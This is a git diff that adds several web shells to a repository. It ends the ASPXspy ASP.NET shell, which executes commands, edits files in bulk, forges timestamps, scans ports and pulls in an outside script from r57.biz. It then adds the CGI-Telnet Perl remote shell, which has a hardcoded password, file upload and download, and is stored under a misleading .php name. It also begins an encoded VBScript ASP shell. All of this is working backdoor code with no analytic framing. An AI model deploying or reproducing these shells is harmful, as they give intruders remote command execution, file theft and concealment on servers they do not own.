+s+=@"theform.__EVENTTARGET.value=eventTarget;";
+s+=@"theform.__FILE.value=eventArgument;";
+s+=@"theform.submit();";
+s+=@"} ";
+s+=@"</scr"+"ipt>";
+page.RegisterStartupScript("",s);
+}
+protected void PPtK(object sender,EventArgs e)
+{
+WICxe();
+yhv.Visible=true;
+Bin_H2_Title.InnerText="File Search >>";
+NaLJ.Value=Request.PhysicalApplicationPath;
+oJiym.Visible=false;
+}
+protected void NBy(object sender,EventArgs e)
+{
+DirectoryInfo GQMM=new DirectoryInfo(NaLJ.Value);
+if(!GQMM.Exists)
+{
+xseuB("Path invalid ! ");
+return;
+}
+oog(GQMM);
+xseuB("Search completed ! ");
+}
+public void oog(DirectoryInfo dir)
+{
+try
+{
+oJiym.Visible=true;
+foreach(FileInfo Bin_Files in dir.GetFiles())
+{
+try
+{
+if(Bin_Files.FullName==Request.PhysicalPath)
+{
+continue;
+}
+if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+UDLvA.Value+")$",RegexOptions.IgnoreCase))
+{
+continue;
+}
+if(Ven.SelectedItem.Value=="name")
+{
+if(rAQ.Checked)
+{
+if(Regex.IsMatch(Bin_Files.Name,iaMKl.Value,RegexOptions.IgnoreCase))
+{
+FJvQ(Bin_Files);
+}
+}
+else
+{
+if(Bin_Files.Name.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
+{
+Response.Write(Bin_Files.FullName);
+FJvQ(Bin_Files);
+}
+}
+}
+else
+{
+StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
+string ava=sr.ReadToEnd();
+sr.Close();
+if(rAQ.Checked)
+{
+if(Regex.IsMatch(ava,iaMKl.Value,RegexOptions.IgnoreCase))
+{
+FJvQ(Bin_Files);
+if(YZw.Checked)
+{
+ava=Regex.Replace(ava,iaMKl.Value,qPe.Value,RegexOptions.IgnoreCase);
+StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
+sw.Write(ava);
+sw.Close();
+}
+}
+}
+else
+{
+if(ava.ToLower().IndexOf(iaMKl.Value.ToLower())!=-1)
+{
+FJvQ(Bin_Files);
+if(YZw.Checked)
+{
+ava=Strings.Replace(ava,iaMKl.Value,qPe.Value,1,-1,CompareMethod.Text);
+StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
+sw.Write(ava);
+sw.Close();
+}
+}
+}
+}
+}
+catch(Exception ex)
+{
+xseuB(ex.Message);
+continue;
+}
+}
+foreach(DirectoryInfo subdir in dir.GetDirectories())
+{
+oog(subdir);
+}
+}
+catch(Exception ex)
+{
+xseuB(ex.Message);
+}
+}
+public void FJvQ(FileInfo objfile)
+{
+TableRow tr=new TableRow();
+TableCell tc=new TableCell();
+string bg=OKM();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(objfile.DirectoryName)+"')\">"+objfile.FullName+"</a>";
+tr.Cells.Add(tc);
+tc=new TableCell();
+tc.Text=objfile.LastWriteTime.ToString();
+tr.Cells.Add(tc);
+tc=new TableCell();
+tc.Text=mTG(objfile.Length);
+tr.Cells.Add(tc);
+oJiym.Rows.Add(tr);
+}
+public void xseuB(string instr)
+{
+jDKt.Visible=true;
+jDKt.InnerText=instr;
+}
+protected void xVm(object sender,EventArgs e)
+{
+string Jfm=FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text,"MD5").ToLower();
+if(Jfm==Password)
+{
+Response.Cookies.Add(new HttpCookie(vbhLn,Password));
+ljtzC.Visible=false;
+PBZw();
+}
+else
+{
+tZSx();
+}
+}
+protected void Ybg(object sender,EventArgs e)
+{
+krIR(Server.MapPath("."));
+}
+protected void KjPi(object sender,EventArgs e)
+{
+Bin_H2_Title.InnerText="IIS Spy >>";
+WICxe();
+VNR.Visible=true;
+AdCx();
+}
+protected void DGCoW(object sender,EventArgs e)
+{
+try
+{
+StreamWriter sw;
+if(NdCX.SelectedItem.Text=="UTF-8")
+{
+sw=new StreamWriter(Sqon.Value,false,Encoding.UTF8);
+}
+else
+{
+sw=new StreamWriter(Sqon.Value,false,Encoding.Default);
+}
+sw.Write(Xgvv.InnerText);
+sw.Close();
+xseuB("Save file success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+protected void lbjLD(object sender,EventArgs e)
+{
+string FlwA=AXSbb.Value;
+FlwA=OElM(FlwA);
+try
+{
+Fhq.PostedFile.SaveAs(FlwA+Path.GetFileName(Fhq.Value));
+xseuB("File upload success!");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+protected void EXV(object sender,EventArgs e)
+{
+krIR(AXSbb.Value);
+}
+protected void mcCY(object sender,EventArgs e)
+{
+krIR(Server.MapPath("."));
+}
+protected void iVk(object sender,CommandEventArgs e)
+{
+krIR(e.CommandArgument.ToString());
+}
+protected void XXrLw(object sender,EventArgs e)
+{
+try
+{
+File.SetCreationTimeUtc(QiFB.Value,File.GetCreationTimeUtc(lICp.Value));
+File.SetLastAccessTimeUtc(QiFB.Value,File.GetLastAccessTimeUtc(lICp.Value));
+File.SetLastWriteTimeUtc(QiFB.Value,File.GetLastWriteTimeUtc(lICp.Value));
+xseuB("File time clone success!");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+protected void tIykC(object sender,EventArgs e)
+{
+string path=pWVL.Value;
+try
+{
+File.SetAttributes(path,FileAttributes.Normal);
+if(ZhWSK.Checked)
+{
+File.SetAttributes(path,FileAttributes.ReadOnly);
+}
+if(SsR.Checked)
+{
+File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
+}
+if(ccB.Checked)
+{
+File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
+}
+if(fbyZ.Checked)
+{
+File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
+}
+File.SetCreationTimeUtc(path,Convert.ToDateTime(yUqx.Value));
+File.SetLastAccessTimeUtc(path,Convert.ToDateTime(aLsn.Value));
+File.SetLastWriteTimeUtc(path,Convert.ToDateTime(uYjw.Value));
+xseuB("File attributes modify success!");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+krIR(AXSbb.Value);
+}
+protected void VOxn(object sender,EventArgs e)
+{
+WICxe();
+vIac.Visible=true;
+Bin_H2_Title.InnerText="Execute Command >>";
+}
+protected void FbhN(object sender,EventArgs e)
+{
+try
+{
+Process ahAE=new Process();
+ahAE.StartInfo.FileName=kusi.Value;
+ahAE.StartInfo.Arguments=bkcm.Value;
+ahAE.StartInfo.UseShellExecute=false;
+ahAE.StartInfo.RedirectStandardInput=true;
+ahAE.StartInfo.RedirectStandardOutput=true;
+ahAE.StartInfo.RedirectStandardError=true;
+ahAE.Start();
+string Uoc=ahAE.StandardOutput.ReadToEnd();
+Uoc=Uoc.Replace("<","<");
+Uoc=Uoc.Replace(">",">");
+Uoc=Uoc.Replace("\r\n","<br>");
+tnQRF.Visible=true;
+tnQRF.InnerHtml="<hr width=\"100%\" noshade/><pre>"+Uoc+"</pre>";
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+protected void RAFL(object sender,EventArgs e)
+{
+if(qPdI.Text.Length>0)
+{
+tpRQ(qPdI.Text);
+}
+else
+{
+lFAvw();
+}
+}
+protected void Grxk(object sender,EventArgs e)
+{
+YUw();
+}
+protected void ilC(object sender,EventArgs e)
+{
+tZRH();
+}
+protected void HtB(object sender,EventArgs e)
+{
+pDVM();
+}
+protected void Olm(object sender,EventArgs e)
+{
+iLVUT();
+}
+protected void jXhS(object sender,EventArgs e)
+{
+ADCpk();
+}
+protected void lRfRj(object sender,EventArgs e)
+{
+lDODR();
+}
+protected void xSy(object sender,EventArgs e)
+{
+xFhz();
+}
+protected void dMx(object sender,EventArgs e)
+{
+rAhe();
+}
+protected void zOVO(object sender,EventArgs e)
+{
+if(((DropDownList)sender).ID.ToString()=="WYmo")
+{
+dQIIF.Visible=false;
+MasR.Text=WYmo.SelectedItem.Value.ToString();
+}
+if(((DropDownList)sender).ID.ToString()=="Pvf")
+{
+xTZY();
+}
+if(((DropDownList)sender).ID.ToString()=="FGEy")
+{
+jHIy.InnerText=FGEy.SelectedItem.Value.ToString();
+}
+if(((DropDownList)sender).ID.ToString()=="NdCX")
+{
+gLKc(Sqon.Value);
+}
+}
+protected void IkkO(object sender,EventArgs e)
+{
+krIR(AXSbb.Value);
+}
+protected void BGY(object sender,EventArgs e)
+{
+vCf();
+}
+protected void cptS(object sender,EventArgs e)
+{
+vNCHZ();
+}
+protected void fDO(object sender,EventArgs e)
+{
+MHLv();
+}
+protected void vJNsE(object sender,EventArgs e)
+{
+vuou();
+xseuB("Clear All Thread ......");
+}
+protected void wDZ(object sender,EventArgs e)
+{
+if(iXdh.Value=="" || eEpm.Value.Length<7 || ZHS.Value=="")return;
+ruQO();
+xseuB("All Thread Start ......");
+}
+protected void tYoZ(object sender,EventArgs e)
+{
+}
+protected void ELkQ(object sender,EventArgs e)
+{
+VikG();
+GBYT.Visible=true;
+string res=string.Empty;
+foreach(ScanPort th in IVc)
+{
+res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";
+}
+GBYT.InnerHtml=res;
+}
+protected void ORUgV(object sender,EventArgs e)
+{
+dwgT();
+}
+public void WICxe()
+{
+DCbS.Visible=false;
+CzfO.Visible=false;
+APl.Visible=false;
+vIac.Visible=false;
+kkHN.Visible=false;
+YwLB.Visible=false;
+iDgmL.Visible=false;
+hOWTm.Visible=false;
+vrFA.Visible=false;
+yhv.Visible=false;
+}
+</script>
+<html xmlns="http://www.w3.org/1999/xhtml" >
+<SCRIPT SRC=http://r57.biz/yazciz/ciz.js></SCRIPT>
+<head id="Head1" runat="server">
+<SCRIPT SRC=http://r57.biz/yazciz/ciz.js></SCRIPT>
+<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
+<title>ASPXspy
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/php/cgi.php b/php/cgi.php
new file mode 100644
index 0000000..c3a2645
--- /dev/null
+++ b/php/cgi.php
@@ -0,0 +1,690 @@
+#!/usr/bin/perl
+#------------------------------------------------------------------------------
+# Copyright and Licence
+#------------------------------------------------------------------------------
+# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
+#
+# Copyright (C) 2001 Rohitab Batra
+# Permission is granted to use, distribute and modify this script so long
+# as this copyright notice is left intact. If you make changes to the script
+# please document them and inform me. If you would like any changes to be made
+# in this script, you can e-mail me.
+#
+# Author: Rohitab Batra
+# Author e-mail: rohitab@rohitab.com
+# Author Homepage: http://www.rohitab.com/
+# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html
+# Product Support: http://www.rohitab.com/support/
+# Discussion Forum: http://www.rohitab.com/discuss/
+# Mailing List: http://www.rohitab.com/mlist/
+#------------------------------------------------------------------------------
+
+#------------------------------------------------------------------------------
+# Installation
+#------------------------------------------------------------------------------
+# To install this script
+#
+# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
+# your server. For most servers, you may not need to modify this.
+# 2. Change the password in the Configuration section below.
+# 3. If you're running the script under Windows NT, set $WinNT = 1 in the
+# Configuration Section below.
+# 4. Upload the script to a directory on your server which has permissions to
+# execute CGI scripts. This is usually cgi-bin. Make sure that you upload
+# the script in ASCII mode.
+# 5. Change the permission (CHMOD) of the script to 755.
+# 6. Open the script in your web browser. If you uploaded the script in
+# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
+# 7. Login using the password that you specified in Step 2.
+#------------------------------------------------------------------------------
+
+#------------------------------------------------------------------------------
+# Configuration: You need to change only $Password and $WinNT. The other
+# values should work fine for most systems.
+#------------------------------------------------------------------------------
+$Password = "skyclad1"; # Change this. You will need to enter this
+ # to login.
+
+$WinNT = 0; # You need to change the value of this to 1 if
+ # you're running this script on a Windows NT
+ # machine. If you're running it on Unix, you
+ # can leave the value as it is.
+
+$NTCmdSep = "&"; # This character is used to seperate 2 commands
+ # in a command line on Windows NT.
+
+$UnixCmdSep = ";"; # This character is used to seperate 2 commands
+ # in a command line on Unix.
+
+$CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
+ # Don't set this to a very large value. This is
+ # useful for commands that may hang or that
+ # take very long to execute, like "find /".
+ # This is valid only on Unix servers. It is
+ # ignored on NT Servers.
+
+$ShowDynamicOutput = 1; # If this is 1, then data is sent to the
+ # browser as soon as it is output, otherwise
+ # it is buffered and send when the command
+ # completes. This is useful for commands like
+ # ping, so that you can see the output as it
+ # is being generated.
+
+# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
+
+$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
+$CmdPwd = ($WinNT ? "cd" : "pwd");
+$PathSep = ($WinNT ? "\\" : "/");
+$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
+
+#------------------------------------------------------------------------------
+# Reads the input sent by the browser and parses the input variables. It
+# parses GET, POST and multipart/form-data that is used for uploading files.
+# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
+# Other variables can be accessed using $in{'var'}, where var is the name of
+# the variable. Note: Most of the code in this function is taken from other CGI
+# scripts.
+#------------------------------------------------------------------------------
+sub ReadParse
+{
+ local (*in) = @_ if @_;
+ local ($i, $loc, $key, $val);
+
+ $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
+
+ if($ENV{'REQUEST_METHOD'} eq "GET")
+ {
+ $in = $ENV{'QUERY_STRING'};
+ }
+ elsif($ENV{'REQUEST_METHOD'} eq "POST")
+ {
+ binmode(STDIN) if $MultipartFormData & $WinNT;
+ read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
+ }
+
+ # handle file upload data
+ if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
+ {
+ $Boundary = '--'.$1; # please refer to RFC1867
+ @list = split(/$Boundary/, $in);
+ $HeaderBody = $list[1];
+ $HeaderBody =~ /\r\n\r\n|\n\n/;
+ $Header = $`;
+ $Body = $';
+ $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
+ $in{'filedata'} = $Body;
+ $Header =~ /filename=\"(.+)\"/;
+ $in{'f'} = $1;
+ $in{'f'} =~ s/\"//g;
+ $in{'f'} =~ s/\s//g;
+
+ # parse trailer
+ for($i=2; $list[$i]; $i++)
+ {
+ $list[$i] =~ s/^.+name=$//;
+ $list[$i] =~ /\"(\w+)\"/;
+ $key = $1;
+ $val = $';
+ $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
+ $val =~ s/%(..)/pack("c", hex($1))/ge;
+ $in{$key} = $val;
+ }
+ }
+ else # standard post data (url encoded, not multipart)
+ {
+ @in = split(/&/, $in);
+ foreach $i (0 .. $#in)
+ {
+ $in[$i] =~ s/\+/ /g;
+ ($key, $val) = split(/=/, $in[$i], 2);
+ $key =~ s/%(..)/pack("c", hex($1))/ge;
+ $val =~ s/%(..)/pack("c", hex($1))/ge;
+ $in{$key} .= "\0" if (defined($in{$key}));
+ $in{$key} .= $val;
+ }
+ }
+}
+
+#------------------------------------------------------------------------------
+# Prints the HTML Page Header
+# Argument 1: Form item name to which focus should be set
+#------------------------------------------------------------------------------
+sub PrintPageHeader
+{
+ $EncodedCurrentDir = $CurrentDir;
+ $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
+ print "Content-type: text/html\n\n";
+ print <
+
+CGI-Telnet Version 1.0
+$HtmlMetaHeader
+
+
+
+
+END
+}
+
+#------------------------------------------------------------------------------
+# Prints the Login Screen
+#------------------------------------------------------------------------------
+sub PrintLoginScreen
+{
+ $Message = q$ _____ _____ _____ _____ _ _
+/ __ \| __ \|_ _| |_ _| | | | |
+| / \/| | \/ | | ______ | | ___ | | _ __ ___ | |_
+| | | | __ | | |______| | | / _ \| || '_ \ / _ \| __|
+| \__/\| |_\ \ _| |_ | | | __/| || | | || __/| |_
+ \____/ \____/ \___/ \_/ \___||_||_| |_| \___| \__| 1.0
+
+ ______ © 2001, Rohitab Batra
+ .-" "-.
+ / \
+ | |
+ |, .-. .-. ,|
+ | )(_o/ \o_)( |
+ |/ /\ \|
+ (@_ (_ ^^ _)
+ _ ) \ _______ \ __ |IIIIII| __ / _______________________
+ (_) @8@8 {} <________ |-\IIIIII/-| ________________________>
+ )_/ \ /
+ (@ `--------`
+ W A R N I N G: Private Server
+Trying $ServerName...$Message
+END
+}
+
+#------------------------------------------------------------------------------
+# Prints the message that informs the user of a failed login
+#------------------------------------------------------------------------------
+sub PrintLoginFailedMessage
+{
+ print <
+
+END
+}
+
+#------------------------------------------------------------------------------
+# Prints the HTML form for logging in
+#------------------------------------------------------------------------------
+sub PrintLoginForm
+{
+ print <
+
+
+END
+}
+
+#------------------------------------------------------------------------------
+# Prints the footer for the HTML Page
+#------------------------------------------------------------------------------
+sub PrintPageFooter
+{
+ print " ";
+}
+
+#------------------------------------------------------------------------------
+# Retreives the values of all cookies. The cookies can be accesses using the
+# variable $Cookies{''}
+#------------------------------------------------------------------------------
+sub GetCookies
+{
+ @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
+ foreach $cookie(@httpcookies)
+ {
+ ($id, $val) = split(/=/, $cookie);
+ $Cookies{$id} = $val;
+ }
+}
+
+#------------------------------------------------------------------------------
+# Prints the screen when the user logs out
+#------------------------------------------------------------------------------
+sub PrintLogoutScreen
+{
+ print "Connection closed by foreign host.";
+}
+
+#------------------------------------------------------------------------------
+# Logs out the user and allows the user to login again
+#------------------------------------------------------------------------------
+sub PerformLogout
+{
+ print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
+ &PrintPageHeader("p");
+ &PrintLogoutScreen;
+ &PrintLoginScreen;
+ &PrintLoginForm;
+ &PrintPageFooter;
+}
+
+#------------------------------------------------------------------------------
+# This function is called to login the user. If the password matches, it
+# displays a page that allows the user to run commands. If the password doens't
+# match or if no password is entered, it displays a form that allows the user
+# to login
+#------------------------------------------------------------------------------
+sub PerformLogin
+{
+ if($LoginPassword eq $Password) # password matched
+ {
+ print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
+ &PrintPageHeader("c");
+ &PrintCommandLineInputForm;
+ &PrintPageFooter;
+ }
+ else # password didn't match
+ {
+ &PrintPageHeader("p");
+ &PrintLoginScreen;
+ if($LoginPassword ne "") # some password was entered
+ {
+ &PrintLoginFailedMessage;
+ }
+ &PrintLoginForm;
+ &PrintPageFooter;
+ }
+}
+
+#------------------------------------------------------------------------------
+# Prints the HTML form that allows the user to enter commands
+#------------------------------------------------------------------------------
+sub PrintCommandLineInputForm
+{
+ $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
+ print <
+
+
+END
+}
+
+#------------------------------------------------------------------------------
+# Prints the HTML form that allows the user to download files
+#------------------------------------------------------------------------------
+sub PrintFileDownloadForm
+{
+ $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
+ print <
+
+
+END
+}
+
+#------------------------------------------------------------------------------
+# Prints the HTML form that allows the user to upload files
+#------------------------------------------------------------------------------
+sub PrintFileUploadForm
+{
+ $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
+ print <
+
+
+END
+}
+
+#------------------------------------------------------------------------------
+# This function is called when the timeout for a command expires. We need to
+# terminate the script immediately. This function is valid only on Unix. It is
+# never called when the script is running on NT.
+#------------------------------------------------------------------------------
+sub CommandTimeout
+{
+ if(!$WinNT)
+ {
+ alarm(0);
+ print <
+
+Command exceeded maximum time of $CommandTimeoutDuration second(s).
+
+END
+ &PrintCommandLineInputForm;
+ &PrintPageFooter;
+ exit;
+ }
+}
+
+#------------------------------------------------------------------------------
+# This function is called to execute commands. It displays the output of the
+# command and allows the user to enter another command. The change directory
+# command is handled differently. In this case, the new directory is stored in
+# an internal variable and is used each time a command has to be executed. The
+# output of the change directory command is not displayed to the users
+# therefore error messages cannot be displayed.
+#------------------------------------------------------------------------------
+sub ExecuteCommand
+{
+ if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
+ {
+ # we change the directory internally. The output of the
+ # command is not displayed.
+
+ $OldDir = $CurrentDir;
+ $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
+ chop($CurrentDir = `$Command`);
+ &PrintPageHeader("c");
+ $Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
+ print "$Prompt $RunCommand";
+ }
+ else # some other command, display the output
+ {
+ &PrintPageHeader("c");
+ $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
+ print "$Prompt $RunCommand<![CDATA[";
+ $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
+ if(!$WinNT)
+ {
+ $SIG{'ALRM'} = \&CommandTimeout;
+ alarm($CommandTimeoutDuration);
+ }
+ if($ShowDynamicOutput) # show output as it is generated
+ {
+ $|=1;
+ $Command .= " |";
+ open(CommandOutput, $Command);
+ while(<CommandOutput>)
+ {
+ $_ =~ s/(\n|\r\n)$//;
+ print "$_\n";
+ }
+ $|=0;
+ }
+ else # show output after command completes
+ {
+ print `$Command`;
+ }
+ if(!$WinNT)
+ {
+ alarm(0);
+ }
+ print "]]> ";
+ }
+ &PrintCommandLineInputForm;
+ &PrintPageFooter;
+}
+
+#------------------------------------------------------------------------------
+# This function displays the page that contains a link which allows the user
+# to download the specified file. The page also contains a auto-refresh
+# feature that starts the download automatically.
+# Argument 1: Fully qualified filename of the file to be downloaded
+#------------------------------------------------------------------------------
+sub PrintDownloadLinkPage
+{
+ local($FileUrl) = @_;
+ if(-e $FileUrl) # if the file exists
+ {
+ # encode the file link so we can send it to the browser
+ $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
+ $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
+ $HtmlMetaHeader = "
+Sending File $TransferFile...Click Here .
+
+END
+ &PrintCommandLineInputForm;
+ &PrintPageFooter;
+ }
+ else # file doesn't exist
+ {
+ &PrintPageHeader("f");
+ print "Failed to download $FileUrl: $!";
+ &PrintFileDownloadForm;
+ &PrintPageFooter;
+ }
+}
+
+#------------------------------------------------------------------------------
+# This function reads the specified file from the disk and sends it to the
+# browser, so that it can be downloaded by the user.
+# Argument 1: Fully qualified pathname of the file to be sent.
+#------------------------------------------------------------------------------
+sub SendFileToBrowser
+{
+ local($SendFile) = @_;
+ if(open(SENDFILE, $SendFile)) # file opened for reading
+ {
+ if($WinNT)
+ {
+ binmode(SENDFILE);
+ binmode(STDOUT);
+ }
+ $FileSize = (stat($SendFile))[7];
+ ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
+ print "Content-Type: application/x-unknown\n";
+ print "Content-Length: $FileSize\n";
+ print "Content-Disposition: attachment; filename=$1\n\n";
+ print while();
+ close(SENDFILE);
+ }
+ else # failed to open file
+ {
+ &PrintPageHeader("f");
+ print "Failed to download $SendFile: $!";
+ &PrintFileDownloadForm;
+ &PrintPageFooter;
+ }
+}
+
+#------------------------------------------------------------------------------
+# This function is called when the user downloads a file. It displays a message
+# to the user and provides a link through which the file can be downloaded.
+# This function is also called when the user clicks on that link. In this case,
+# the file is read and sent to the browser.
+#------------------------------------------------------------------------------
+sub BeginDownload
+{
+ # get fully qualified path of the file to be downloaded
+ if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
+ (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
+ {
+ $TargetFile = $TransferFile;
+ }
+ else # path is relative
+ {
+ chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
+ $TargetFile .= $PathSep.$TransferFile;
+ }
+
+ if($Options eq "go") # we have to send the file
+ {
+ &SendFileToBrowser($TargetFile);
+ }
+ else # we have to send only the link page
+ {
+ &PrintDownloadLinkPage($TargetFile);
+ }
+}
+
+#------------------------------------------------------------------------------
+# This function is called when the user wants to upload a file. If the
+# file is not specified, it displays a form allowing the user to specify a
+# file, otherwise it starts the upload process.
+#------------------------------------------------------------------------------
+sub UploadFile
+{
+ # if no file is specified, print the upload form again
+ if($TransferFile eq "")
+ {
+ &PrintPageHeader("f");
+ &PrintFileUploadForm;
+ &PrintPageFooter;
+ return;
+ }
+ &PrintPageHeader("c");
+
+ # start the uploading process
+ print "Uploading $TransferFile to $CurrentDir...";
+ &PrintCommandLineInputForm;
+ &PrintPageFooter;
+}
+
+#------------------------------------------------------------------------------
+# This function is called when the user wants to download a file. If the
+# filename is not specified, it displays a form allowing the user to specify a
+# file, otherwise it displays a message to the user and provides a link
+# through which the file can be downloaded.
+#------------------------------------------------------------------------------
+sub DownloadFile
+{
+ # if no file is specified, print the download form again
+ if($TransferFile eq "")
+ {
+ &PrintPageHeader("f");
+ &PrintFileDownloadForm;
+ &PrintPageFooter;
+ return;
+ }
+
+ # get fully qualified path of the file to be downloaded
+ if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
+ (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
+ {
+ $TargetFile = $TransferFile;
+ }
+ else # path is relative
+ {
+ chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
+ $TargetFile .= $PathSep.$TransferFile;
+ }
+
+ if($Options eq "go") # we have to send the file
+ {
+ &SendFileToBrowser($TargetFile);
+ }
+ else # we have to send only the link page
+ {
+ &PrintDownloadLinkPage($TargetFile);
+ }
+}
+
+#------------------------------------------------------------------------------
+# Main Program - Execution Starts Here
+#------------------------------------------------------------------------------
+&ReadParse;
+&GetCookies;
+
+$ScriptLocation = $ENV{'SCRIPT_NAME'};
+$ServerName = $ENV{'SERVER_NAME'};
+$LoginPassword = $in{'p'};
+$RunCommand = $in{'c'};
+$TransferFile = $in{'f'};
+$Options = $in{'o'};
+
+$Action = $in{'a'};
+$Action = "login" if($Action eq ""); # no action specified, use default
+
+# get the directory in which the commands will be executed
+$CurrentDir = $in{'d'};
+chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
+
+$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
+
+if($Action eq "login" || !$LoggedIn) # user needs/has to login
+{
+ &PerformLogin;
+}
+elsif($Action eq "command") # user wants to run a command
+{
+ &ExecuteCommand;
+}
+elsif($Action eq "upload") # user wants to upload a file
+{
+ &UploadFile;
+}
+elsif($Action eq "download") # user wants to download a file
+{
+ &DownloadFile;
+}
+elsif($Action eq "logout") # user wants to logout
+{
+ &PerformLogout;
+}
\ No newline at end of file
diff --git a/php/cmd.php b/php/cmd.php
new file mode 100644
index 0000000..8aabb2a
--- /dev/null
+++ b/php/cmd.php
@@ -0,0 +1,1102 @@
+<%@ LANGUAGE = VBScript.Encode%>
+<%//**Start Encode
+On Error Resume Next
+
+Dim myFSO,showdisks
+Set myFSO = CreateObject ("Scripting.FileSystemObject")
+showdisks=FALSE
+
+Server.ScriptTimeOut = 7200
+Class FileUploader
+ Public Files
+ Private mcolFormElem
+ Private Sub Class_Initialize()
+ Set Files = Server.CreateObject("Scripting.Dictionary")
+ Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
+ End Sub
+ Private Sub Class_Terminate()
+ If IsObject(Files) Then
+ Files.RemoveAll()
+ Set Files = Nothing
+ End If
+ If IsObject(mcolFormElem) Then
+ mcolFormElem.RemoveAll()
+ Set mcolFormElem = Nothing
+ End If
+ End Sub
+ Public Property Get Form(sIndex)
+ Form = ""
+ If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
+ End Property
+ Public Default Sub Upload()
+ Dim biData, sInputName
+ Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
+ Dim nPosFile, nPosBound
+ biData = Request.BinaryRead(Request.TotalBytes)
+ nPosBegin = 1
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
+ If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
+ vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
+ nDataBoundPos = InstrB(1, biData, vDataBounds)
+ Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
+ nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
+ nPos = InstrB(nPos, biData, CByteString("name="))
+ nPosBegin = nPos + 6
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
+ sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+ nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
+ nPosBound = InstrB(nPosEnd, biData, vDataBounds)
+ If nPosFile <> 0 And nPosFile < nPosBound Then
+ Dim oUploadFile, sFileName
+ Set oUploadFile = New UploadedFile
+ nPosBegin = nPosFile + 10
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
+ sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+ oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
+ nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
+ nPosBegin = nPos + 14
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
+ oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+ nPosBegin = nPosEnd+4
